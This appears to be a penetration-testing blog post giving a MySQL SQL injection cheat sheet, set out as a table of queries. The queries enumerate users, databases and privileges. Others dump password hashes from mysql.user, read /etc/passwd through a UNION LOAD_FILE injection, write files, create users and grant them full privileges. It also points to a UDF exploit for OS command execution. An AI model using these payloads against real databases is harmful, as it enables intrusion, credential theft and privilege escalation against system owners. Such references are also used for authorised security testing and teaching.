# MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

I’m not planning to write one for MS Access, but there’s a great [MS Access Cheat Sheet here](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html).

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

|  |  |
| --- | --- |
| Version | SELECT @@version |
| Comments | SELECT 1; #comment SELECT /\*comment\*/1; |
| Current User | SELECT user(); SELECT system\_user(); |
| List Users | SELECT user FROM mysql.user; — priv |
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
| Password Cracker | [John the Ripper](http://www.openwall.com/john/) will crack MySQL password hashes. |
| List Privileges | SELECT grantee, privilege\_type, is\_grantable FROM information\_schema.user\_privileges; — list user privsSELECT host, user, Select\_priv, Insert\_priv, Update\_priv, Delete\_priv, Create\_priv, Drop\_priv, Reload\_priv, Shutdown\_priv, Process\_priv, File\_priv, Grant\_priv, References\_priv, Index\_priv, Alter\_priv, Show\_db\_priv, Super\_priv, Create\_tmp\_table\_priv, Lock\_tables\_priv, Execute\_priv, Repl\_slave\_priv, Repl\_client\_priv FROM mysql.user; — priv, list user privsSELECT grantee, table\_schema, privilege\_type FROM information\_schema.schema\_privileges; — list privs on databases (schemas)SELECT table\_schema, table\_name, column\_name, privilege\_type FROM information\_schema.column\_privileges; — list privs on columns |
| List DBA Accounts | SELECT grantee, privilege\_type, is\_grantable FROM information\_schema.user\_privileges WHERE privilege\_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super\_priv = ‘Y’; # priv |
| Current Database | SELECT database() |
| List Databases | SELECT schema\_name FROM information\_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
| List Columns | SELECT table\_schema, table\_name, column\_name FROM information\_schema.columns WHERE table\_schema != ‘mysql’ AND table\_schema != ‘information\_schema’ |
| List Tables | SELECT table\_schema,table\_name FROM information\_schema.tables WHERE table\_schema != ‘mysql’ AND table\_schema != ‘information\_schema’ |
| Find Tables From Column Name | SELECT table\_schema, table\_name FROM information\_schema.columns WHERE column\_name = ‘username’; — find table which have a column called ‘username’ |
| Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
| Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
| ASCII Value -> Char | SELECT char(65); # returns A |
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
| Casting | SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char); |
| String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC |
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
| Avoiding Quotes | SELECT 0×414243; # returns ABC |
| Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
| Make DNS Requests | Impossible? |
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  [raptor\_udf.c](http://www.0xdeadbeef.info/exploits/raptor_udf.c) explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform. |
| Local File Access | …’ UNION ALL SELECT LOAD\_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT \* FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
| Hostname, IP Address | SELECT @@hostname; |
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
| Delete Users | DROP USER test1; — priv |
| Make User DBA | GRANT ALL PRIVILEGES ON \*.\* TO test1@’%'; — priv |
| Location of DB files | SELECT @@datadir; |
| Default/System Databases | information\_schema (>= mysql 5.0) mysql |